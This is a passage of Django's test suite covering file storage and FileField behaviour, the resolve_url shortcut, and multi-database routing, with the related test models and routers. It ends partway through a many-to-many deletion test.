class CustomStorageTests(FileStorageTests):
    storage_class = CustomStorage

    def test_custom_get_available_name(self):
        first = self.storage.save('custom_storage', ContentFile('custom contents'))
        self.assertEqual(first, 'custom_storage')
        second = self.storage.save('custom_storage', ContentFile('more contents'))
        self.assertEqual(second, 'custom_storage.2')
        self.storage.delete(first)
        self.storage.delete(second)


class CustomStorageLegacyDatetimeHandling(FileSystemStorage):
    # Use the legacy accessed_time() et al from FileSystemStorage and the
    # shim get_accessed_time() et al from the Storage baseclass. Both of those
    # raise warnings, so the testcase class ignores them all.

    def get_accessed_time(self, name):
        return super(FileSystemStorage, self).get_accessed_time(name)

    def get_created_time(self, name):
        return super(FileSystemStorage, self).get_created_time(name)

    def get_modified_time(self, name):
        return super(FileSystemStorage, self).get_modified_time(name)


@ignore_warnings(category=RemovedInDjango20Warning)
class CustomStorageLegacyDatetimeHandlingTests(FileStorageTests):
    storage_class = CustomStorageLegacyDatetimeHandling


class DiscardingFalseContentStorage(FileSystemStorage):
    def _save(self, name, content):
        if content:
            return super(DiscardingFalseContentStorage, self)._save(name, content)
        return ''


class DiscardingFalseContentStorageTests(FileStorageTests):
    storage_class = DiscardingFalseContentStorage

    def test_custom_storage_discarding_empty_content(self):
        """
        When Storage.save() wraps a file-like object in File, it should include
        the name argument so that bool(file) evaluates to True (#26495).
        """
        output = six.StringIO('content')
        self.storage.save('tests/stringio', output)
        self.assertTrue(self.storage.exists('tests/stringio'))

        with self.storage.open('tests/stringio') as f:
            self.assertEqual(f.read(), b'content')


class FileFieldStorageTests(TestCase):
    def tearDown(self):
        shutil.rmtree(temp_storage_location)

    def _storage_max_filename_length(self, storage):
        """
        Query filesystem for maximum filename length (e.g. AUFS has 242).
        """
        dir_to_test = storage.location
        while not os.path.exists(dir_to_test):
            dir_to_test = os.path.dirname(dir_to_test)
        try:
            return os.pathconf(dir_to_test, 'PC_NAME_MAX')
        except Exception:
            return 255  # Should be safe on most backends

    def test_files(self):
        self.assertIsInstance(Storage.normal, FileDescriptor)

        # An object without a file has limited functionality.
        obj1 = Storage()
        self.assertEqual(obj1.normal.name, "")
        with self.assertRaises(ValueError):
            obj1.normal.size

        # Saving a file enables full functionality.
        obj1.normal.save("django_test.txt", ContentFile("content"))
        self.assertEqual(obj1.normal.name, "tests/django_test.txt")
        self.assertEqual(obj1.normal.size, 7)
        self.assertEqual(obj1.normal.read(), b"content")
        obj1.normal.close()

        # File objects can be assigned to FileField attributes, but shouldn't
        # get committed until the model it's attached to is saved.
        obj1.normal = SimpleUploadedFile("assignment.txt", b"content")
        dirs, files = temp_storage.listdir("tests")
        self.assertEqual(dirs, [])
        self.assertNotIn("assignment.txt", files)

        obj1.save()
        dirs, files = temp_storage.listdir("tests")
        self.assertEqual(sorted(files), ["assignment.txt", "django_test.txt"])

        # Save another file with the same name.
        obj2 = Storage()
        obj2.normal.save("django_test.txt", ContentFile("more content"))
        obj2_name = obj2.normal.name
        six.assertRegex(self, obj2_name, "tests/django_test_%s.txt" % FILE_SUFFIX_REGEX)
        self.assertEqual(obj2.normal.size, 12)
        obj2.normal.close()

        # Deleting an object does not delete the file it uses.
        obj2.delete()
        obj2.normal.save("django_test.txt", ContentFile("more content"))
        self.assertNotEqual(obj2_name, obj2.normal.name)
        six.assertRegex(self, obj2.normal.name, "tests/django_test_%s.txt" % FILE_SUFFIX_REGEX)
        obj2.normal.close()

    def test_filefield_read(self):
        # Files can be read in a little at a time, if necessary.
        obj = Storage.objects.create(
            normal=SimpleUploadedFile("assignment.txt", b"content"))
        obj.normal.open()
        self.assertEqual(obj.normal.read(3), b"con")
        self.assertEqual(obj.normal.read(), b"tent")
        self.assertEqual(list(obj.normal.chunks(chunk_size=2)), [b"co", b"nt", b"en", b"t"])
        obj.normal.close()

    def test_filefield_write(self):
        # Files can be written to.
        obj = Storage.objects.create(normal=SimpleUploadedFile('rewritten.txt', b'content'))
        with obj.normal as normal:
            normal.open('wb')
            normal.write(b'updated')
        obj.refresh_from_db()
        self.assertEqual(obj.normal.read(), b'updated')
        obj.normal.close()

    def test_filefield_reopen(self):
        obj = Storage.objects.create(normal=SimpleUploadedFile('reopen.txt', b'content'))
        with obj.normal as normal:
            normal.open()
        obj.normal.open()
        obj.normal.file.seek(0)
        obj.normal.close()

    def test_duplicate_filename(self):
        # Multiple files with the same name get _(7 random chars) appended to them.
        objs = [Storage() for i in range(2)]
        for o in objs:
            o.normal.save("multiple_files.txt", ContentFile("Same Content"))
        try:
            names = [o.normal.name for o in objs]
            self.assertEqual(names[0], "tests/multiple_files.txt")
            six.assertRegex(self, names[1], "tests/multiple_files_%s.txt" % FILE_SUFFIX_REGEX)
        finally:
            for o in objs:
                o.delete()

    def test_file_truncation(self):
        # Given the max_length is limited, when multiple files get uploaded
        # under the same name, then the filename get truncated in order to fit
        # in _(7 random chars). When most of the max_length is taken by
        # dirname + extension and there are not enough  characters in the
        # filename to truncate, an exception should be raised.
        objs = [Storage() for i in range(2)]
        filename = 'filename.ext'

        for o in objs:
            o.limited_length.save(filename, ContentFile('Same Content'))
        try:
            # Testing truncation.
            names = [o.limited_length.name for o in objs]
            self.assertEqual(names[0], 'tests/%s' % filename)
            six.assertRegex(self, names[1], 'tests/fi_%s.ext' % FILE_SUFFIX_REGEX)

            # Testing exception is raised when filename is too short to truncate.
            filename = 'short.longext'
            objs[0].limited_length.save(filename, ContentFile('Same Content'))
            with self.assertRaisesMessage(SuspiciousFileOperation, 'Storage can not find an available filename'):
                objs[1].limited_length.save(*(filename, ContentFile('Same Content')))
        finally:
            for o in objs:
                o.delete()

    @unittest.skipIf(
        sys.platform.startswith('win'),
        "Windows supports at most 260 characters in a path.",
    )
    def test_extended_length_storage(self):
        # Testing FileField with max_length > 255. Most systems have filename
        # length limitation of 255. Path takes extra chars.
        filename = (self._storage_max_filename_length(temp_storage) - 4) * 'a'  # 4 chars for extension.
        obj = Storage()
        obj.extended_length.save('%s.txt' % filename, ContentFile('Same Content'))
        self.assertEqual(obj.extended_length.name, 'tests/%s.txt' % filename)
        self.assertEqual(obj.extended_length.read(), b'Same Content')
        obj.extended_length.close()

    def test_filefield_default(self):
        # Default values allow an object to access a single file.
        temp_storage.save('tests/default.txt', ContentFile('default content'))
        obj = Storage.objects.create()
        self.assertEqual(obj.default.name, "tests/default.txt")
        self.assertEqual(obj.default.read(), b"default content")
        obj.default.close()

        # But it shouldn't be deleted, even if there are no more objects using
        # it.
        obj.delete()
        obj = Storage()
        self.assertEqual(obj.default.read(), b"default content")
        obj.default.close()

    def test_empty_upload_to(self):
        # upload_to can be empty, meaning it does not use subdirectory.
        obj = Storage()
        obj.empty.save('django_test.txt', ContentFile('more content'))
        self.assertEqual(obj.empty.name, "django_test.txt")
        self.assertEqual(obj.empty.read(), b"more content")
        obj.empty.close()

    def test_random_upload_to(self):
        # Verify the fix for #5655, making sure the directory is only
        # determined once.
        obj = Storage()
        obj.random.save("random_file", ContentFile("random content"))
        self.assertTrue(obj.random.name.endswith("/random_file"))
        obj.random.close()

    def test_custom_valid_name_callable_upload_to(self):
        """
        Storage.get_valid_name() should be called when upload_to is a callable.
        """
        obj = Storage()
        obj.custom_valid_name.save("random_file", ContentFile("random content"))
        # CustomValidNameStorage.get_valid_name() appends '_valid' to the name
        self.assertTrue(obj.custom_valid_name.name.endswith("/random_file_valid"))
        obj.custom_valid_name.close()

    def test_filefield_pickling(self):
        # Push an object into the cache to make sure it pickles properly
        obj = Storage()
        obj.normal.save("django_test.txt", ContentFile("more content"))
        obj.normal.close()
        cache.set("obj", obj)
        self.assertEqual(cache.get("obj").normal.name, "tests/django_test.txt")

    def test_file_object(self):
        # Create sample file
        temp_storage.save('tests/example.txt', ContentFile('some content'))

        # Load it as python file object
        with open(temp_storage.path('tests/example.txt')) as file_obj:
            # Save it using storage and read its content
            temp_storage.save('tests/file_obj', file_obj)
        self.assertTrue(temp_storage.exists('tests/file_obj'))
        with temp_storage.open('tests/file_obj') as f:
            self.assertEqual(f.read(), b'some content')

    def test_stringio(self):
        # Test passing StringIO instance as content argument to save
        output = six.StringIO()
        output.write('content')
        output.seek(0)

        # Save it and read written file
        temp_storage.save('tests/stringio', output)
        self.assertTrue(temp_storage.exists('tests/stringio'))
        with temp_storage.open('tests/stringio') as f:
            self.assertEqual(f.read(), b'content')


# Tests for a race condition on file saving (#4948).
# This is written in such a way that it'll always pass on platforms
# without threading.

class SlowFile(ContentFile):
    def chunks(self):
        time.sleep(1)
        return super(ContentFile, self).chunks()


class FileSaveRaceConditionTest(unittest.TestCase):
    def setUp(self):
        self.storage_dir = tempfile.mkdtemp()
        self.storage = FileSystemStorage(self.storage_dir)
        self.thread = threading.Thread(target=self.save_file, args=['conflict'])

    def tearDown(self):
        shutil.rmtree(self.storage_dir)

    def save_file(self, name):
        name = self.storage.save(name, SlowFile(b"Data"))

    def test_race_condition(self):
        self.thread.start()
        self.save_file('conflict')
        self.thread.join()
        files = sorted(os.listdir(self.storage_dir))
        self.assertEqual(files[0], 'conflict')
        six.assertRegex(self, files[1], 'conflict_%s' % FILE_SUFFIX_REGEX)


@unittest.skipIf(sys.platform.startswith('win'), "Windows only partially supports umasks and chmod.")
class FileStoragePermissions(unittest.TestCase):
    def setUp(self):
        self.umask = 0o027
        self.old_umask = os.umask(self.umask)
        self.storage_dir = tempfile.mkdtemp()

    def tearDown(self):
        shutil.rmtree(self.storage_dir)
        os.umask(self.old_umask)

    @override_settings(FILE_UPLOAD_PERMISSIONS=0o654)
    def test_file_upload_permissions(self):
        self.storage = FileSystemStorage(self.storage_dir)
        name = self.storage.save("the_file", ContentFile("data"))
        actual_mode = os.stat(self.storage.path(name))[0] & 0o777
        self.assertEqual(actual_mode, 0o654)

    @override_settings(FILE_UPLOAD_PERMISSIONS=None)
    def test_file_upload_default_permissions(self):
        self.storage = FileSystemStorage(self.storage_dir)
        fname = self.storage.save("some_file", ContentFile("data"))
        mode = os.stat(self.storage.path(fname))[0] & 0o777
        self.assertEqual(mode, 0o666 & ~self.umask)

    @override_settings(FILE_UPLOAD_DIRECTORY_PERMISSIONS=0o765)
    def test_file_upload_directory_permissions(self):
        self.storage = FileSystemStorage(self.storage_dir)
        name = self.storage.save("the_directory/the_file", ContentFile("data"))
        dir_mode = os.stat(os.path.dirname(self.storage.path(name)))[0] & 0o777
        self.assertEqual(dir_mode, 0o765)

    @override_settings(FILE_UPLOAD_DIRECTORY_PERMISSIONS=None)
    def test_file_upload_directory_default_permissions(self):
        self.storage = FileSystemStorage(self.storage_dir)
        name = self.storage.save("the_directory/the_file", ContentFile("data"))
        dir_mode = os.stat(os.path.dirname(self.storage.path(name)))[0] & 0o777
        self.assertEqual(dir_mode, 0o777 & ~self.umask)


class FileStoragePathParsing(unittest.TestCase):
    def setUp(self):
        self.storage_dir = tempfile.mkdtemp()
        self.storage = FileSystemStorage(self.storage_dir)

    def tearDown(self):
        shutil.rmtree(self.storage_dir)

    def test_directory_with_dot(self):
        """Regression test for #9610.

        If the directory name contains a dot and the file name doesn't, make
        sure we still mangle the file name instead of the directory name.
        """

        self.storage.save('dotted.path/test', ContentFile("1"))
        self.storage.save('dotted.path/test', ContentFile("2"))

        files = sorted(os.listdir(os.path.join(self.storage_dir, 'dotted.path')))
        self.assertFalse(os.path.exists(os.path.join(self.storage_dir, 'dotted_.path')))
        self.assertEqual(files[0], 'test')
        six.assertRegex(self, files[1], 'test_%s' % FILE_SUFFIX_REGEX)

    def test_first_character_dot(self):
        """
        File names with a dot as their first character don't have an extension,
        and the underscore should get added to the end.
        """
        self.storage.save('dotted.path/.test', ContentFile("1"))
        self.storage.save('dotted.path/.test', ContentFile("2"))

        files = sorted(os.listdir(os.path.join(self.storage_dir, 'dotted.path')))
        self.assertFalse(os.path.exists(os.path.join(self.storage_dir, 'dotted_.path')))
        self.assertEqual(files[0], '.test')
        six.assertRegex(self, files[1], '.test_%s' % FILE_SUFFIX_REGEX)


class ContentFileStorageTestCase(unittest.TestCase):

    def setUp(self):
        self.storage_dir = tempfile.mkdtemp()
        self.storage = FileSystemStorage(self.storage_dir)

    def tearDown(self):
        shutil.rmtree(self.storage_dir)

    def test_content_saving(self):
        """
        Test that ContentFile can be saved correctly with the filesystem storage,
        both if it was initialized with string or unicode content"""
        self.storage.save('bytes.txt', ContentFile(b"content"))
        self.storage.save('unicode.txt', ContentFile("español"))


@override_settings(ROOT_URLCONF='file_storage.urls')
class FileLikeObjectTestCase(LiveServerTestCase):
    """
    Test file-like objects (#15644).
    """

    available_apps = []

    def setUp(self):
        self.temp_dir = tempfile.mkdtemp()
        self.storage = FileSystemStorage(location=self.temp_dir)

    def tearDown(self):
        shutil.rmtree(self.temp_dir)

    def test_urllib2_urlopen(self):
        """
        Test the File storage API with a file like object coming from urllib2.urlopen()
        """
        file_like_object = urlopen(self.live_server_url + '/')
        f = File(file_like_object)
        stored_filename = self.storage.save("remote_file.html", f)

        remote_file = urlopen(self.live_server_url + '/')
        with self.storage.open(stored_filename) as stored_file:
            self.assertEqual(stored_file.read(), remote_file.read())






"""
Regression tests for the resolve_url function.
"""

from django.db import models


class UnimportantThing(models.Model):
    importance = models.IntegerField()

    def get_absolute_url(self):
        return '/importance/%d/' % (self.importance,)






from django.conf.urls import url


def some_view(request):
    pass


urlpatterns = [
    url(r'^some-url/$', some_view, name='some-view'),
]












from __future__ import unicode_literals

from django.shortcuts import resolve_url
from django.test import SimpleTestCase, override_settings
from django.urls import NoReverseMatch, reverse_lazy
from django.utils import six

from .models import UnimportantThing
from .urls import some_view


@override_settings(ROOT_URLCONF='resolve_url.urls')
class ResolveUrlTests(SimpleTestCase):
    """
    Tests for the ``resolve_url`` function.
    """

    def test_url_path(self):
        """
        Tests that passing a URL path to ``resolve_url`` will result in the
        same url.
        """
        self.assertEqual('/something/', resolve_url('/something/'))

    def test_relative_path(self):
        """
        Tests that passing a relative URL path to ``resolve_url`` will result
        in the same url.
        """
        self.assertEqual('../', resolve_url('../'))
        self.assertEqual('../relative/', resolve_url('../relative/'))
        self.assertEqual('./', resolve_url('./'))
        self.assertEqual('./relative/', resolve_url('./relative/'))

    def test_full_url(self):
        """
        Tests that passing a full URL to ``resolve_url`` will result in the
        same url.
        """
        url = 'http://example.com/'
        self.assertEqual(url, resolve_url(url))

    def test_model(self):
        """
        Tests that passing a model to ``resolve_url`` will result in
        ``get_absolute_url`` being called on that model instance.
        """
        m = UnimportantThing(importance=1)
        self.assertEqual(m.get_absolute_url(), resolve_url(m))

    def test_view_function(self):
        """
        Tests that passing a view function to ``resolve_url`` will result in
        the URL path mapping to that view name.
        """
        resolved_url = resolve_url(some_view)
        self.assertEqual('/some-url/', resolved_url)

    def test_lazy_reverse(self):
        """
        Tests that passing the result of reverse_lazy is resolved to a real URL
        string.
        """
        resolved_url = resolve_url(reverse_lazy('some-view'))
        self.assertIsInstance(resolved_url, six.text_type)
        self.assertEqual('/some-url/', resolved_url)

    def test_valid_view_name(self):
        """
        Tests that passing a view name to ``resolve_url`` will result in the
        URL path mapping to that view.
        """
        resolved_url = resolve_url('some-view')
        self.assertEqual('/some-url/', resolved_url)

    def test_domain(self):
        """
        Tests that passing a domain to ``resolve_url`` returns the same domain.
        """
        self.assertEqual(resolve_url('example.com'), 'example.com')

    def test_non_view_callable_raises_no_reverse_match(self):
        """
        Tests that passing a non-view callable into ``resolve_url`` raises a
        ``NoReverseMatch`` exception.
        """
        with self.assertRaises(NoReverseMatch):
            resolve_url(lambda: 'asdf')






from __future__ import unicode_literals

from django.db import DEFAULT_DB_ALIAS


class TestRouter(object):
    """
    Vaguely behave like primary/replica, but the databases aren't assumed to
    propagate changes.
    """

    def db_for_read(self, model, instance=None, **hints):
        if instance:
            return instance._state.db or 'other'
        return 'other'

    def db_for_write(self, model, **hints):
        return DEFAULT_DB_ALIAS

    def allow_relation(self, obj1, obj2, **hints):
        return obj1._state.db in ('default', 'other') and obj2._state.db in ('default', 'other')

    def allow_migrate(self, db, app_label, **hints):
        return True


class AuthRouter(object):
    """
    Control all database operations on models in the contrib.auth application.
    """

    def db_for_read(self, model, **hints):
        "Point all read operations on auth models to 'default'"
        if model._meta.app_label == 'auth':
            # We use default here to ensure we can tell the difference
            # between a read request and a write request for Auth objects
            return 'default'
        return None

    def db_for_write(self, model, **hints):
        "Point all operations on auth models to 'other'"
        if model._meta.app_label == 'auth':
            return 'other'
        return None

    def allow_relation(self, obj1, obj2, **hints):
        "Allow any relation if a model in Auth is involved"
        if obj1._meta.app_label == 'auth' or obj2._meta.app_label == 'auth':
            return True
        return None

    def allow_migrate(self, db, app_label, **hints):
        "Make sure the auth app only appears on the 'other' db"
        if app_label == 'auth':
            return db == 'other'
        return None


class WriteRouter(object):
    # A router that only expresses an opinion on writes
    def db_for_write(self, model, **hints):
        return 'writer'






from django.contrib.auth.models import User
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Review(models.Model):
    source = models.CharField(max_length=100)
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey()

    def __str__(self):
        return self.source

    class Meta:
        ordering = ('source',)


class PersonManager(models.Manager):
    def get_by_natural_key(self, name):
        return self.get(name=name)


@python_2_unicode_compatible
class Person(models.Model):
    objects = PersonManager()
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name

    class Meta:
        ordering = ('name',)


# This book manager doesn't do anything interesting; it just
# exists to strip out the 'extra_arg' argument to certain
# calls. This argument is used to establish that the BookManager
# is actually getting used when it should be.
class BookManager(models.Manager):
    def create(self, *args, **kwargs):
        kwargs.pop('extra_arg', None)
        return super(BookManager, self).create(*args, **kwargs)

    def get_or_create(self, *args, **kwargs):
        kwargs.pop('extra_arg', None)
        return super(BookManager, self).get_or_create(*args, **kwargs)


@python_2_unicode_compatible
class Book(models.Model):
    objects = BookManager()
    title = models.CharField(max_length=100)
    published = models.DateField()
    authors = models.ManyToManyField(Person)
    editor = models.ForeignKey(Person, models.SET_NULL, null=True, related_name='edited')
    reviews = GenericRelation(Review)
    pages = models.IntegerField(default=100)

    def __str__(self):
        return self.title

    class Meta:
        ordering = ('title',)


@python_2_unicode_compatible
class Pet(models.Model):
    name = models.CharField(max_length=100)
    owner = models.ForeignKey(Person, models.CASCADE)

    def __str__(self):
        return self.name

    class Meta:
        ordering = ('name',)


class UserProfile(models.Model):
    user = models.OneToOneField(User, models.SET_NULL, null=True)
    flavor = models.CharField(max_length=100)

    class Meta:
        ordering = ('flavor',)












from __future__ import unicode_literals

import datetime
import pickle
from operator import attrgetter

from django.contrib.auth.models import User
from django.contrib.contenttypes.models import ContentType
from django.core import management
from django.db import DEFAULT_DB_ALIAS, connections, router, transaction
from django.db.models import signals
from django.db.utils import ConnectionRouter
from django.test import SimpleTestCase, TestCase, override_settings
from django.utils.six import StringIO

from .models import Book, Person, Pet, Review, UserProfile
from .routers import AuthRouter, TestRouter, WriteRouter


class QueryTestCase(TestCase):
    multi_db = True

    def test_db_selection(self):
        "Check that querysets will use the default database by default"
        self.assertEqual(Book.objects.db, DEFAULT_DB_ALIAS)
        self.assertEqual(Book.objects.all().db, DEFAULT_DB_ALIAS)

        self.assertEqual(Book.objects.using('other').db, 'other')

        self.assertEqual(Book.objects.db_manager('other').db, 'other')
        self.assertEqual(Book.objects.db_manager('other').all().db, 'other')

    def test_default_creation(self):
        "Objects created on the default database don't leak onto other databases"
        # Create a book on the default database using create()
        Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))

        # Create a book on the default database using a save
        dive = Book()
        dive.title = "Dive into Python"
        dive.published = datetime.date(2009, 5, 4)
        dive.save()

        # Check that book exists on the default database, but not on other database
        try:
            Book.objects.get(title="Pro Django")
            Book.objects.using('default').get(title="Pro Django")
        except Book.DoesNotExist:
            self.fail('"Pro Django" should exist on default database')

        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('other').get(title="Pro Django")

        try:
            Book.objects.get(title="Dive into Python")
            Book.objects.using('default').get(title="Dive into Python")
        except Book.DoesNotExist:
            self.fail('"Dive into Python" should exist on default database')

        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('other').get(title="Dive into Python")

    def test_other_creation(self):
        "Objects created on another database don't leak onto the default database"
        # Create a book on the second database
        Book.objects.using('other').create(title="Pro Django",
                                           published=datetime.date(2008, 12, 16))

        # Create a book on the default database using a save
        dive = Book()
        dive.title = "Dive into Python"
        dive.published = datetime.date(2009, 5, 4)
        dive.save(using='other')

        # Check that book exists on the default database, but not on other database
        try:
            Book.objects.using('other').get(title="Pro Django")
        except Book.DoesNotExist:
            self.fail('"Pro Django" should exist on other database')

        with self.assertRaises(Book.DoesNotExist):
            Book.objects.get(title="Pro Django")
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(title="Pro Django")

        try:
            Book.objects.using('other').get(title="Dive into Python")
        except Book.DoesNotExist:
            self.fail('"Dive into Python" should exist on other database')

        with self.assertRaises(Book.DoesNotExist):
            Book.objects.get(title="Dive into Python")
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(title="Dive into Python")

    def test_refresh(self):
        dive = Book()
        dive.title = "Dive into Python"
        dive = Book()
        dive.title = "Dive into Python"
        dive.published = datetime.date(2009, 5, 4)
        dive.save(using='other')
        dive.published = datetime.date(2009, 5, 4)
        dive.save(using='other')
        dive2 = Book.objects.using('other').get()
        dive2.title = "Dive into Python (on default)"
        dive2.save(using='default')
        dive.refresh_from_db()
        self.assertEqual(dive.title, "Dive into Python")
        dive.refresh_from_db(using='default')
        self.assertEqual(dive.title, "Dive into Python (on default)")
        self.assertEqual(dive._state.db, "default")

    def test_basic_queries(self):
        "Queries are constrained to a single database"
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        dive = Book.objects.using('other').get(published=datetime.date(2009, 5, 4))
        self.assertEqual(dive.title, "Dive into Python")
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(published=datetime.date(2009, 5, 4))

        dive = Book.objects.using('other').get(title__icontains="dive")
        self.assertEqual(dive.title, "Dive into Python")
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(title__icontains="dive")

        dive = Book.objects.using('other').get(title__iexact="dive INTO python")
        self.assertEqual(dive.title, "Dive into Python")
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(title__iexact="dive INTO python")

        dive = Book.objects.using('other').get(published__year=2009)
        self.assertEqual(dive.title, "Dive into Python")
        self.assertEqual(dive.published, datetime.date(2009, 5, 4))
        with self.assertRaises(Book.DoesNotExist):
            Book.objects.using('default').get(published__year=2009)

        years = Book.objects.using('other').dates('published', 'year')
        self.assertEqual([o.year for o in years], [2009])
        years = Book.objects.using('default').dates('published', 'year')
        self.assertEqual([o.year for o in years], [])

        months = Book.objects.using('other').dates('published', 'month')
        self.assertEqual([o.month for o in months], [5])
        months = Book.objects.using('default').dates('published', 'month')
        self.assertEqual([o.month for o in months], [])

    def test_m2m_separation(self):
        "M2M fields are constrained to a single database"
        # Create a book and author on the default database
        pro = Book.objects.create(title="Pro Django",
                                  published=datetime.date(2008, 12, 16))

        marty = Person.objects.create(name="Marty Alchin")

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        mark = Person.objects.using('other').create(name="Mark Pilgrim")

        # Save the author relations
        pro.authors.set([marty])
        dive.authors.set([mark])

        # Inspect the m2m tables directly.
        # There should be 1 entry in each database
        self.assertEqual(Book.authors.through.objects.using('default').count(), 1)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 1)

        # Check that queries work across m2m joins
        self.assertEqual(
            list(Book.objects.using('default').filter(authors__name='Marty Alchin').values_list('title', flat=True)),
            ['Pro Django']
        )
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Marty Alchin').values_list('title', flat=True)),
            []
        )

        self.assertEqual(
            list(Book.objects.using('default').filter(authors__name='Mark Pilgrim').values_list('title', flat=True)),
            []
        )
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Mark Pilgrim').values_list('title', flat=True)),
            ['Dive into Python']
        )

        # Reget the objects to clear caches
        dive = Book.objects.using('other').get(title="Dive into Python")
        mark = Person.objects.using('other').get(name="Mark Pilgrim")

        # Retrieve related object by descriptor. Related objects should be database-bound
        self.assertEqual(list(dive.authors.all().values_list('name', flat=True)), ['Mark Pilgrim'])

        self.assertEqual(list(mark.book_set.all().values_list('title', flat=True)), ['Dive into Python'])

    def test_m2m_forward_operations(self):
        "M2M forward manipulations are all constrained to a single DB"
        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        mark = Person.objects.using('other').create(name="Mark Pilgrim")

        # Save the author relations
        dive.authors.set([mark])

        # Add a second author
        john = Person.objects.using('other').create(name="John Smith")
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='John Smith').values_list('title', flat=True)),
            []
        )

        dive.authors.add(john)
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Mark Pilgrim').values_list('title', flat=True)),
            ['Dive into Python']
        )
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='John Smith').values_list('title', flat=True)),
            ['Dive into Python']
        )

        # Remove the second author
        dive.authors.remove(john)
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Mark Pilgrim').values_list('title', flat=True)),
            ['Dive into Python']
        )
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='John Smith').values_list('title', flat=True)),
            []
        )

        # Clear all authors
        dive.authors.clear()
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Mark Pilgrim').values_list('title', flat=True)),
            []
        )
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='John Smith').values_list('title', flat=True)),
            []
        )

        # Create an author through the m2m interface
        dive.authors.create(name='Jane Brown')
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Mark Pilgrim').values_list('title', flat=True)),
            []
        )
        self.assertEqual(
            list(Book.objects.using('other').filter(authors__name='Jane Brown').values_list('title', flat=True)),
            ['Dive into Python']
        )

    def test_m2m_reverse_operations(self):
        "M2M reverse manipulations are all constrained to a single DB"
        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        mark = Person.objects.using('other').create(name="Mark Pilgrim")

        # Save the author relations
        dive.authors.set([mark])

        # Create a second book on the other database
        grease = Book.objects.using('other').create(title="Greasemonkey Hacks", published=datetime.date(2005, 11, 1))

        # Add a books to the m2m
        mark.book_set.add(grease)
        self.assertEqual(
            list(Person.objects.using('other').filter(book__title='Dive into Python').values_list('name', flat=True)),
            ['Mark Pilgrim']
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(book__title='Greasemonkey Hacks').values_list('name', flat=True)
            ),
            ['Mark Pilgrim']
        )

        # Remove a book from the m2m
        mark.book_set.remove(grease)
        self.assertEqual(
            list(Person.objects.using('other').filter(book__title='Dive into Python').values_list('name', flat=True)),
            ['Mark Pilgrim']
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(book__title='Greasemonkey Hacks').values_list('name', flat=True)
            ),
            []
        )

        # Clear the books associated with mark
        mark.book_set.clear()
        self.assertEqual(
            list(Person.objects.using('other').filter(book__title='Dive into Python').values_list('name', flat=True)),
            []
        )
        self.assertEqual(
            list(
                Person.objects.using('other').filter(book__title='Greasemonkey Hacks').values_list('name', flat=True)
            ),
            []
        )

        # Create a book through the m2m interface
        mark.book_set.create(title="Dive into HTML5", published=datetime.date(2020, 1, 1))
        self.assertEqual(
            list(Person.objects.using('other').filter(book__title='Dive into Python').values_list('name', flat=True)),
            []
        )
        self.assertEqual(
            list(Person.objects.using('other').filter(book__title='Dive into HTML5').values_list('name', flat=True)),
            ['Mark Pilgrim']
        )

    def test_m2m_cross_database_protection(self):
        "Operations that involve sharing M2M objects across databases raise an error"
        # Create a book and author on the default database
        pro = Book.objects.create(title="Pro Django", published=datetime.date(2008, 12, 16))

        marty = Person.objects.create(name="Marty Alchin")

        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))

        mark = Person.objects.using('other').create(name="Mark Pilgrim")
        # Set a foreign key set with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='default'):
                marty.edited.set([pro, dive])

        # Add to an m2m with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='default'):
                marty.book_set.add(dive)

        # Set a m2m with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='default'):
                marty.book_set.set([pro, dive])

        # Add to a reverse m2m with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='other'):
                dive.authors.add(marty)

        # Set a reverse m2m with an object from a different database
        with self.assertRaises(ValueError):
            with transaction.atomic(using='other'):
                dive.authors.set([mark, marty])

    def test_m2m_deletion(self):
        "Cascaded deletions of m2m relations issue queries on the right database"
        # Create a book and author on the other database
        dive = Book.objects.using('other').create(title="Dive into Python", published=datetime.date(2009, 5, 4))
        mark = Person.objects.using('other').create(name="Mark Pilgrim")
        dive.authors.set([mark])

        # Check the initial state
        self.assertEqual(Person.objects.using('default').count(), 0)
        self.assertEqual(Book.objects.using('default').count(), 0)
        self.assertEqual(Book.authors.through.objects.using('default').count(), 0)

        self.assertEqual(Person.objects.using('other').count(), 1)
        self.assertEqual(Book.objects.using('other').count(), 1)
        self.assertEqual(Book.authors.through.objects.using('other').count(), 1)

        # Delete the object on the other database
        dive.delete(using='other')

        self.assertEqual(Person.objects.using('default').count(), 0)
